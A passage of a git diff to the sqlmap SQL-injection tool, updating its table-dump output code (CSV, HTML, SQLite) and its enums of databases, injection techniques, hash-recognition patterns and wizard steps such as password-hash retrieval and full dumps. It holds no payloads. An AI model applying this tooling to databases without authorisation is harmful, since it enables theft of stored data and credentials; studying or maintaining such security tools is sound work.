directory '%s' instead" % tempDir + logger.warning(warnMsg) + + dumpDbPath = tempDir + + if conf.dumpFormat == DUMP_FORMAT.SQLITE: + replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db))) + elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if not os.path.isdir(dumpDbPath): - os.makedirs(dumpDbPath, 0755) + try: + os.makedirs(dumpDbPath) + except: + warnFile = True + + _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)) + dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(getBytes(db)).hexdigest()[:8])) + + if not os.path.isdir(dumpDbPath): + try: + os.makedirs(dumpDbPath) + except Exception as ex: + tempDir = tempfile.mkdtemp(prefix="sqlmapdb") + warnMsg = "unable to create dump directory " + warnMsg += "'%s' (%s). " % (dumpDbPath, getSafeExString(ex)) + warnMsg += "Using temporary directory '%s' instead" % tempDir + logger.warning(warnMsg) + + dumpDbPath = tempDir + + dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))) + if not checkFile(dumpFileName, False): + try: + openFile(dumpFileName, "w+").close() + except SqlmapSystemException: + raise + except: + warnFile = True + + _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table))) + if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES: + _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)) + dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower())) + else: + dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower())) + else: + appendToFile = any((conf.limitStart, conf.limitStop)) + + if not appendToFile: + count = 1 + while True: + candidate = "%s.%d" % (dumpFileName, count) + if not checkFile(candidate, False): + try: + shutil.copyfile(dumpFileName, candidate) + except IOError: + pass + break + else: + count += 1 - dumpFileName = "%s%s%s.csv" % (dumpDbPath, os.sep, unsafeSQLIdentificatorNaming(table)) - dumpFP = openFile(dumpFileName, "wb") + dumpFP = openFile(dumpFileName, 'w' if not appendToFile else 'a', buffering=DUMP_FILE_BUFFER_SIZE) count = int(tableValues["__infos__"]["count"]) + if count > TRIM_STDOUT_DUMP_SIZE: + warnMsg = "console output will be trimmed to " + warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE + warnMsg += "large table size" + logger.warning(warnMsg) + separator = str() field = 1 fields = len(tableValues) - 1 - columns = prioritySortColumns(tableValues.keys()) + columns = prioritySortColumns(list(tableValues.keys())) + + if conf.col: + cols = conf.col.split(',') + columns = sorted(columns, key=lambda _: cols.index(_) if _ in cols else 0) for column in columns: if column != "__infos__": @@ -351,16 +507,17 @@ def dbTableValues(self, tableValues): separator += "+%s" % lines separator += "+" - self._write("Database: %s\nTable: %s" % (db if db else "Current database", table)) + self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db and METADB_SUFFIX not in db else "", unsafeSQLIdentificatorNaming(table))) - if conf.replicate: + if conf.dumpFormat == DUMP_FORMAT.SQLITE: cols = [] for column in columns: if column != "__infos__": colType = Replication.INTEGER - for value in tableValues[column]['values']: + for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))): + value = tableValues[column]['values'][i] try: if not value or value == " ": # NULL continue @@ -373,7 +530,8 @@ def dbTableValues(self, tableValues): if colType is None: colType = Replication.REAL - for value in tableValues[column]['values']: + for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))): + value = tableValues[column]['values'][i] try: if not value or value == " ": # NULL continue @@ -383,9 +541,16 @@ def dbTableValues(self, tableValues): colType = None break - cols.append((column, colType if colType else Replication.TEXT)) + cols.append((unsafeSQLIdentificatorNaming(column), colType if colType else Replication.TEXT)) rtable = replication.createTable(table, cols) + elif conf.dumpFormat == DUMP_FORMAT.HTML: + dataToDumpFile(dumpFP, "\n\n\n") + dataToDumpFile(dumpFP, "\n" % UNICODE_ENCODING) + dataToDumpFile(dumpFP, "\n" % VERSION_STRING) + dataToDumpFile(dumpFP, "%s\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) + dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) + dataToDumpFile(dumpFP, "\n\n\n\n\n\n") if count == 1: self._write("[1 entry]") @@ -397,38 +562,46 @@ def dbTableValues(self, tableValues): for column in columns: if column != "__infos__": info = tableValues[column] + + column = unsafeSQLIdentificatorNaming(column) maxlength = int(info["length"]) - blank = " " * (maxlength - len(column)) + blank = " " * (maxlength - getConsoleLength(column)) - self._write("| %s%s" % (column, blank), n=False) + self._write("| %s%s" % (column, blank), newline=False) - if not conf.replicate: - if field == fields: - dataToDumpFile(dumpFP, "%s" % safeCSValue(column)) - else: - dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) + if not appendToFile: + if conf.dumpFormat == DUMP_FORMAT.CSV: + if field == fields: + dataToDumpFile(dumpFP, "%s" % safeCSValue(column)) + else: + dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) + elif conf.dumpFormat == DUMP_FORMAT.HTML: + dataToDumpFile(dumpFP, "" % (field - 1, getUnicode(htmlEscape(column).encode("ascii", "xmlcharrefreplace")))) field += 1 + if conf.dumpFormat == DUMP_FORMAT.HTML: + dataToDumpFile(dumpFP, "\n\n\n\n") + self._write("|\n%s" % separator) - if not conf.replicate: - dataToDumpFile(dumpFP, "\n") + if conf.dumpFormat == DUMP_FORMAT.CSV: + dataToDumpFile(dumpFP, "\n" if not appendToFile else "") - if conf.replicate: + elif conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.beginTransaction() - if count > TRIM_STDOUT_DUMP_SIZE: - warnMsg = "console output will be trimmed to " - warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE - warnMsg += "large table size" - logger.warning(warnMsg) - for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 values = [] + if i == 0 and count > TRIM_STDOUT_DUMP_SIZE: + self._write(" ...") + + if conf.dumpFormat == DUMP_FORMAT.HTML: + dataToDumpFile(dumpFP, "") + for column in columns: if column != "__infos__": info = tableValues[column] @@ -440,81 +613,116 @@ def dbTableValues(self, tableValues): value = u'' else: value = getUnicode(info["values"][i]) - value = {" ": NULL, "": BLANK}.get(value, value) + value = DUMP_REPLACEMENTS.get(value, value) + + if conf.dumpFormat == DUMP_FORMAT.SQLITE: + values.append(value) - values.append(value) maxlength = int(info["length"]) - blank = " " * (maxlength - len(value)) - self._write("| %s%s" % (value, blank), n=False, console=console) + blank = " " * (maxlength - getConsoleLength(value)) + self._write("| %s%s" % (value, blank), newline=False, console=console) - if not conf.replicate: + if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: + try: + mimetype = getText(magic.from_buffer(value, mime=True)) + if any(mimetype.startswith(_) for _ in ("application", "image")): + if not os.path.isdir(dumpDbPath): + os.makedirs(dumpDbPath) + + _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column))) + filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) + warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) + logger.warning(warnMsg) + + with openFile(filepath, "w+b", None) as f: + _ = safechardecode(value, True) + f.write(_) + + except Exception as ex: + logger.debug(getSafeExString(ex)) + + if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) + elif conf.dumpFormat == DUMP_FORMAT.HTML: + dataToDumpFile(dumpFP, "" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace"))) field += 1 - if conf.replicate: + if conf.dumpFormat == DUMP_FORMAT.SQLITE: try: rtable.insert(values) - except sqlmapValueException: + except SqlmapValueException: pass + elif conf.dumpFormat == DUMP_FORMAT.CSV: + dataToDumpFile(dumpFP, "\n") + elif conf.dumpFormat == DUMP_FORMAT.HTML: + dataToDumpFile(dumpFP, "\n") self._write("|", console=console) - if not conf.replicate: - dataToDumpFile(dumpFP, "\n") - self._write("%s\n" % separator) - if conf.replicate: + if conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.endTransaction() - logger.info("table '%s.%s' dumped to sqlite3 file '%s'" % (db, table, replication.dbpath)) + logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath)) - else: - dataToDumpFile(dumpFP, "\n") + elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): + if conf.dumpFormat == DUMP_FORMAT.HTML: + dataToDumpFile(dumpFP, "\n
%s
%s
\n\n\n") + else: + dataToDumpFile(dumpFP, "\n") dumpFP.close() - logger.info("table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName)) + + msg = "table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName) + if not warnFile: + logger.info(msg) + else: + logger.warning(msg) def dbColumns(self, dbColumnsDict, colConsider, dbs): + if conf.api: + self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS) + for column in dbColumnsDict.keys(): if colConsider == "1": - colConsiderStr = "s like '" + column + "' were" + colConsiderStr = "s LIKE '%s' were" % unsafeSQLIdentificatorNaming(column) else: - colConsiderStr = " '%s' was" % column - - msg = "Column%s found in the " % colConsiderStr - msg += "following databases:" - self._write(msg) - - _ = {} + colConsiderStr = " '%s' was" % unsafeSQLIdentificatorNaming(column) + found = {} for db, tblData in dbs.items(): for tbl, colData in tblData.items(): for col, dataType in colData.items(): if column.lower() in col.lower(): - if db in _: - if tbl in _[db]: - _[db][tbl][col] = dataType + if db in found: + if tbl in found[db]: + found[db][tbl][col] = dataType else: - _[db][tbl] = { col: dataType } + found[db][tbl] = {col: dataType} else: - _[db] = {} - _[db][tbl] = { col: dataType } + found[db] = {} + found[db][tbl] = {col: dataType} continue - self.dbTableColumns(_) + if found: + msg = "column%s found in the " % colConsiderStr + msg += "following databases:" + self._write(msg) + + self.dbTableColumns(found) - def query(self, query, queryRes): - self.string(query, queryRes) + def sqlQuery(self, query, queryRes): + self.string(query, queryRes, content_type=CONTENT_TYPE.SQL_QUERY) - def rFile(self, filePath, fileData): - self.string("%s file saved to" % filePath, fileData, sort=False) + def rFile(self, fileData): + self.lister("files saved to", fileData, sort=False, content_type=CONTENT_TYPE.FILE_READ) def registerValue(self, registerData): - self.string("Registry key value data", registerData, sort=False) + self.string("Registry key value data", registerData, content_type=CONTENT_TYPE.REG_READ, sort=False) # object to manage how to print the retrieved queries output to # standard output and sessions file diff --git a/lib/core/enums.py b/lib/core/enums.py index e14edb41113..689055a3c21 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -1,11 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -class PRIORITY: +class PRIORITY(object): LOWEST = -100 LOWER = -50 LOW = -10 @@ -14,7 +14,7 @@ class PRIORITY: HIGHER = 50 HIGHEST = 100 -class SORT_ORDER: +class SORT_ORDER(object): FIRST = 0 SECOND = 1 THIRD = 2 @@ -22,9 +22,18 @@ class SORT_ORDER: FIFTH = 4 LAST = 100 -class DBMS: +# Reference: https://docs.python.org/2/library/logging.html#logging-levels +class LOGGING_LEVELS(object): + NOTSET = 0 + DEBUG = 10 + INFO = 20 + WARNING = 30 + ERROR = 40 + CRITICAL = 50 + +class DBMS(object): ACCESS = "Microsoft Access" - DB2 = "IBM DB2" + DB2 = "IBM DB2" FIREBIRD = "Firebird" MAXDB = "SAP MaxDB" MSSQL = "Microsoft SQL Server" @@ -33,8 +42,27 @@ class DBMS: PGSQL = "PostgreSQL" SQLITE = "SQLite" SYBASE = "Sybase" + INFORMIX = "Informix" + HSQLDB = "HSQLDB" + H2 = "H2" + MONETDB = "MonetDB" + DERBY = "Apache Derby" + VERTICA = "Vertica" + MCKOI = "Mckoi" + PRESTO = "Presto" + ALTIBASE = "Altibase" + MIMERSQL = "MimerSQL" + CLICKHOUSE = "ClickHouse" + CRATEDB = "CrateDB" + CUBRID = "Cubrid" + CACHE = "InterSystems Cache" + EXTREMEDB = "eXtremeDB" + FRONTBASE = "FrontBase" + RAIMA = "Raima Database Manager" + VIRTUOSO = "Virtuoso" + SNOWFLAKE = "Snowflake" -class DBMS_DIRECTORY_NAME: +class DBMS_DIRECTORY_NAME(object): ACCESS = "access" DB2 = "db2" FIREBIRD = "firebird" @@ -45,76 +73,171 @@ class DBMS_DIRECTORY_NAME: PGSQL = "postgresql" SQLITE = "sqlite" SYBASE = "sybase" + HSQLDB = "hsqldb" + H2 = "h2" + INFORMIX = "informix" + MONETDB = "monetdb" + DERBY = "derby" + VERTICA = "vertica" + MCKOI = "mckoi" + PRESTO = "presto" + ALTIBASE = "altibase" + MIMERSQL = "mimersql" + CLICKHOUSE = "clickhouse" + CRATEDB = "cratedb" + CUBRID = "cubrid" + CACHE = "cache" + EXTREMEDB = "extremedb" + FRONTBASE = "frontbase" + RAIMA = "raima" + VIRTUOSO = "virtuoso" + SNOWFLAKE = "snowflake" + +class FORK(object): + MARIADB = "MariaDB" + MEMSQL = "MemSQL" + PERCONA = "Percona" + COCKROACHDB = "CockroachDB" + TIDB = "TiDB" + REDSHIFT = "Amazon Redshift" + GREENPLUM = "Greenplum" + DRIZZLE = "Drizzle" + IGNITE = "Apache Ignite" + AURORA = "Aurora" + ENTERPRISEDB = "EnterpriseDB" + YELLOWBRICK = "Yellowbrick" + IRIS = "Iris" + YUGABYTEDB = "YugabyteDB" + OPENGAUSS = "OpenGauss" + DM8 = "DM8" + DORIS = "Doris" + STARROCKS = "StarRocks" -class CUSTOM_LOGGING: +class CUSTOM_LOGGING(object): PAYLOAD = 9 TRAFFIC_OUT = 8 TRAFFIC_IN = 7 -class OS: +class OS(object): LINUX = "Linux" WINDOWS = "Windows" -class PLACE: +class PLACE(object): GET = "GET" POST = "POST" - SOAP = "SOAP" URI = "URI" COOKIE = "Cookie" - UA = "User-Agent" + USER_AGENT = "User-Agent" REFERER = "Referer" HOST = "Host" CUSTOM_POST = "(custom) POST" + CUSTOM_HEADER = "(custom) HEADER" -class HTTPMETHOD: +class POST_HINT(object): + SOAP = "SOAP" + JSON = "JSON" + JSON_LIKE = "JSON-like" + MULTIPART = "MULTIPART" + XML = "XML (generic)" + ARRAY_LIKE = "Array-like" + +class HTTPMETHOD(object): GET = "GET" POST = "POST" HEAD = "HEAD" + PUT = "PUT" + DELETE = "DELETE" + TRACE = "TRACE" + OPTIONS = "OPTIONS" + CONNECT = "CONNECT" + PATCH = "PATCH" -class NULLCONNECTION: +class NULLCONNECTION(object): HEAD = "HEAD" RANGE = "Range" + SKIP_READ = "skip-read" -class REFLECTIVE_COUNTER: +class REFLECTIVE_COUNTER(object): MISS = "MISS" HIT = "HIT" -class CHARSET_TYPE: - BINARY = 1, - DIGITS = 2, - HEXADECIMAL = 3, - ALPHA = 4, +class CHARSET_TYPE(object): + BINARY = 1 + DIGITS = 2 + HEXADECIMAL = 3 + ALPHA = 4 ALPHANUM = 5 -class HASH: +class HEURISTIC_TEST(object): + CASTED = 1 + NEGATIVE = 2 + POSITIVE = 3 + +class HASH(object): MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z' MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z' POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z' MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z' MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z' + MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z' ORACLE = r'(?i)\As:[0-9a-f]{60}\Z' - ORACLE_OLD = r'(?i)\A[01-9a-f]{16}\Z' - MD5_GENERIC = r'(?i)\A[0-9a-f]{32}\Z' - SHA1_GENERIC = r'(?i)\A[0-9a-f]{40}\Z' - CRYPT_GENERIC = r'(?i)\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z' - WORDPRESS = r'(?i)\A\$P\$[./0-9A-Za-z]{31}\Z' - -# Reference: http://www.zytrax.com/tech/web/mobile_ids.html -class MOBILES: - BLACKBERRY = "RIM Blackberry 9800 Torch;Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.246 Mobile Safari/534.1+" - GALAXY = "Samsung Galaxy S;Mozilla/5.0 (Linux; U; Android 2.2; en-US; SGH-T959D Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" - HP = "HP iPAQ 6365;Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)" - HTC = "HTC Evo;Mozilla/5.0 (Linux; U; Android 2.2; en-us; Sprint APA9292KT Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" - IPHONE = "Apple iPhone 4;Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/531.22.7" - NEXUS = "Google Nexus One;Mozilla/5.0 (Linux; U; Android 2.2; en-US; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" - NOKIA = "Nokia N97;Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344" - -class PROXYTYPE: + ORACLE_OLD = r'(?i)\A[0-9a-f]{16}\Z' + MD5_GENERIC = r'(?i)\A(0x)?[0-9a-f]{32}\Z' + SHA1_GENERIC = r'(?i)\A(0x)?[0-9a-f]{40}\Z' + SHA224_GENERIC = r'(?i)\A[0-9a-f]{56}\Z' + SHA256_GENERIC = r'(?i)\A(0x)?[0-9a-f]{64}\Z' + SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z' + SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z' + CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z' + JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z' + PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z' + APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z' + UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z' + APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z' + VBULLETIN = r'\A[0-9a-fA-F]{32}:.{30}\Z' + VBULLETIN_OLD = r'\A[0-9a-fA-F]{32}:.{3}\Z' + OSCOMMERCE_OLD = r'\A[0-9a-fA-F]{32}:.{2}\Z' + SSHA = r'\A\{SSHA\}[a-zA-Z0-9+/]+={0,2}\Z' + SSHA256 = r'\A\{SSHA256\}[a-zA-Z0-9+/]+={0,2}\Z' + SSHA512 = r'\A\{SSHA512\}[a-zA-Z0-9+/]+={0,2}\Z' + DJANGO_MD5 = r'\Amd5\$[^$]*\$[0-9a-f]{32}\Z' + DJANGO_SHA1 = r'\Asha1\$[^$]*\$[0-9a-f]{40}\Z' + MD5_BASE64 = r'\A[a-zA-Z0-9+/]{22}==\Z' + SHA1_BASE64 = r'\A[a-zA-Z0-9+/]{27}=\Z' + SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z' + SHA512_BASE64 = r'\A[a-zA-Z0-9+/]{86}==\Z' + +# Reference: https://whatmyuseragent.com/brand/ +class MOBILES(object): + BLACKBERRY = ("BlackBerry Z10", "Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+") + GALAXY = ("Samsung Galaxy A54", "Mozilla/5.0 (Linux; Android 15; SM-A546B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.155 Mobile Safari/537.36 AirWatchBrowser/25.08.0.2131") + HP = ("HP iPAQ 6365", "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)") + HTC = ("HTC One X2", "Mozilla/5.0 (Linux; Android 14; X2-HT) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.46 Mobile Safari/537.36") + HUAWEI = ("Huawei Honor 90 Pro", "Mozilla/5.0 (Linux; Android 15; REP-AN00 Build/HONORREP-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/133.0.6943.137 Mobile Safari/537.36") + IPHONE = ("Apple iPhone 15 Pro Max", "Mozilla/7.0 (iPhone; CPU iPhone OS 18_7; iPhone 15 Pro Max) AppleWebKit/533.2 (KHTML, like Gecko) CriOS/126.0.6478.35 Mobile/15E148 Safari/804.17") + LUMIA = ("Microsoft Lumia 950 XL", "Mozilla/5.0 (Windows Mobile 10; Android 10.0;Microsoft;Lumia 950XL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36 Edge/40.15254.603") + NEXUS = ("Google Nexus 7", "Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19") + NOKIA = ("Nokia N97", "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344") + PIXEL = ("Google Pixel 9", "Mozilla/5.0 (Linux; Android 14; Pixel 9) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/24.0 Chrome/139.0.0.0 Mobile Safari/537.36") + XIAOMI = ("Xiaomi Redmi 15C", "Mozilla/5.0 (Linux; Android 15; REDMI 15C Build/AP3A.240905.015.A2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.118 Mobile Safari/537.36 XiaoMi/MiuiBrowser/14.43.0-gn") + +class PROXY_TYPE(object): HTTP = "HTTP" + HTTPS = "HTTPS" SOCKS4 = "SOCKS4" SOCKS5 = "SOCKS5" -class HTTPHEADER: +class REGISTRY_OPERATION(object): + READ = "read" + ADD = "add" + DELETE = "delete" + +class DUMP_FORMAT(object): + CSV = "CSV" + HTML = "HTML" + SQLITE = "SQLITE" + +class HTTP_HEADER(object): ACCEPT = "Accept" ACCEPT_CHARSET = "Accept-Charset" ACCEPT_ENCODING = "Accept-Encoding" @@ -127,21 +250,42 @@ class HTTPHEADER: CONTENT_RANGE = "Content-Range" CONTENT_TYPE = "Content-Type" COOKIE = "Cookie" - SET_COOKIE = "Set-Cookie" + EXPIRES = "Expires" HOST = "Host" + IF_MODIFIED_SINCE = "If-Modified-Since" + IF_NONE_MATCH = "If-None-Match" + LAST_MODIFIED = "Last-Modified" + LOCATION = "Location" PRAGMA = "Pragma" PROXY_AUTHORIZATION = "Proxy-Authorization" PROXY_CONNECTION = "Proxy-Connection" RANGE = "Range" REFERER = "Referer" + REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794 + SERVER = "Server" + SET_COOKIE = "Set-Cookie" + TRANSFER_ENCODING = "Transfer-Encoding" + URI = "URI" USER_AGENT = "User-Agent" + VIA = "Via" + X_POWERED_BY = "X-Powered-By" + X_DATA_ORIGIN = "X-Data-Origin" -class EXPECTED: +class EXPECTED(object): BOOL = "bool" INT = "int" -class HASHDB_KEYS: +class OPTION_TYPE(object): + BOOLEAN = "boolean" + INTEGER = "integer" + FLOAT = "float" + STRING = "string" + +class HASHDB_KEYS(object): DBMS = "DBMS" + DBMS_FORK = "DBMS_FORK" + CHECK_WAF_RESULT = "CHECK_WAF_RESULT" + CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT" CONF_TMP_PATH = "CONF_TMP_PATH" KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS" KB_BRUTE_COLUMNS = "KB_BRUTE_COLUMNS" @@ -149,63 +293,215 @@ class HASHDB_KEYS: KB_CHARS = "KB_CHARS" KB_DYNAMIC_MARKINGS = "KB_DYNAMIC_MARKINGS" KB_INJECTIONS = "KB_INJECTIONS" + KB_ERROR_CHUNK_LENGTH = "KB_ERROR_CHUNK_LENGTH" KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE" OS = "OS" -class REDIRECTION: - YES = "Y" - NO = "N" +class REDIRECTION(object): + YES = 'Y' + NO = 'N' -class PAYLOAD: +class PAYLOAD(object): SQLINJECTION = { - 1: "boolean-based blind", - 2: "error-based", - 3: "UNION query", - 4: "stacked queries", - 5: "AND/OR time-based blind" - } + 1: "boolean-based blind", + 2: "error-based", + 3: "inline query", + 4: "stacked queries", + 5: "time-based blind", + 6: "UNION query", + } PARAMETER = { - 1: "Unescaped numeric", - 2: "Single quoted string", - 3: "LIKE single quoted string", - 4: "Double quoted string", - 5: "LIKE double quoted string" - } + 1: "Unescaped numeric", + 2: "Single quoted string", + 3: "LIKE single quoted string", + 4: "Double quoted string", + 5: "LIKE double quoted string", + 6: "Identifier (e.g. column name)", + } RISK = { - 0: "No risk", - 1: "Low risk", - 2: "Medium risk", - 3: "High risk" - } + 0: "No risk", + 1: "Low risk", + 2: "Medium risk", + 3: "High risk", + } CLAUSE = { - 0: "Always", - 1: "WHERE", - 2: "GROUP BY", - 3: "ORDER BY", - 4: "LIMIT", - 5: "OFFSET", - 6: "TOP", - 7: "Table name", - 8: "Column name" - } - - class METHOD: + 0: "Always", + 1: "WHERE", + 2: "GROUP BY", + 3: "ORDER BY", + 4: "LIMIT", + 5: "OFFSET", + 6: "TOP", + 7: "Table name", + 8: "Column name", + 9: "Pre-WHERE (non-query)", + } + + class METHOD(object): COMPARISON = "comparison" GREP = "grep" TIME = "time" UNION = "union" - class TECHNIQUE: + class TECHNIQUE(object): BOOLEAN = 1 ERROR = 2 - UNION = 3 + QUERY = 3 STACKED = 4 TIME = 5 + UNION = 6 - class WHERE: + class WHERE(object): ORIGINAL = 1 NEGATIVE = 2 REPLACE = 3 + +class WIZARD(object): + BASIC = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba") + INTERMEDIATE = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getUsers", "getDbs", "getTables", "getSchema", "excludeSysDbs") + ALL = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getHostname", "getUsers", "getPasswordHashes", "getPrivileges", "getRoles", "dumpAll") + +class ADJUST_TIME_DELAY(object): + DISABLE = -1 + NO = 0 + YES = 1 + +class WEB_PLATFORM(object): + PHP = "php" + ASP = "asp" + ASPX = "aspx" + JSP = "jsp" + CFM = "cfm" + +class CONTENT_TYPE(object): + TARGET = 0 + TECHNIQUES = 1 + DBMS_FINGERPRINT = 2 + BANNER = 3 + CURRENT_USER = 4 + CURRENT_DB = 5 + HOSTNAME = 6 + IS_DBA = 7 + USERS = 8 + PASSWORDS = 9 + PRIVILEGES = 10 + ROLES = 11 + DBS = 12 + TABLES = 13 + COLUMNS = 14 + SCHEMA = 15 + COUNT = 16 + DUMP_TABLE = 17 + SEARCH = 18 + SQL_QUERY = 19 + COMMON_TABLES = 20 + COMMON_COLUMNS = 21 + FILE_READ = 22 + FILE_WRITE = 23 + OS_CMD = 24 + REG_READ = 25 + STATEMENTS = 26 + +class CONTENT_STATUS(object): + IN_PROGRESS = 0 + COMPLETE = 1 + +class AUTH_TYPE(object): + BASIC = "basic" + DIGEST = "digest" + BEARER = "bearer" + NTLM = "ntlm" + PKI = "pki" + +class AUTOCOMPLETE_TYPE(object): + SQL = 0 + OS = 1 + SQLMAP = 2 + API = 3 + +class NOTE(object): + FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable" + +class MKSTEMP_PREFIX(object): + HASHES = "sqlmaphashes-" + CRAWLER = "sqlmapcrawler-" + IPC = "sqlmapipc-" + CONFIG = "sqlmapconfig-" + TESTING = "sqlmaptesting-" + RESULTS = "sqlmapresults-" + COOKIE_JAR = "sqlmapcookiejar-" + BIG_ARRAY = "sqlmapbigarray-" + SPECIFIC_RESPONSE = "sqlmapresponse-" + PREPROCESS = "sqlmappreprocess-" + +class TIMEOUT_STATE(object): + NORMAL = 0 + EXCEPTION = 1 + TIMEOUT = 2 + +class HINT(object): + PREPEND = 0 + APPEND = 1 + +class FUZZ_UNION_COLUMN: + STRING = "" + INTEGER = "" + NULL = "NULL" + +class COLOR: + BLUE = "\033[34m" + BOLD_MAGENTA = "\033[35;1m" + BOLD_GREEN = "\033[32;1m" + BOLD_LIGHT_MAGENTA 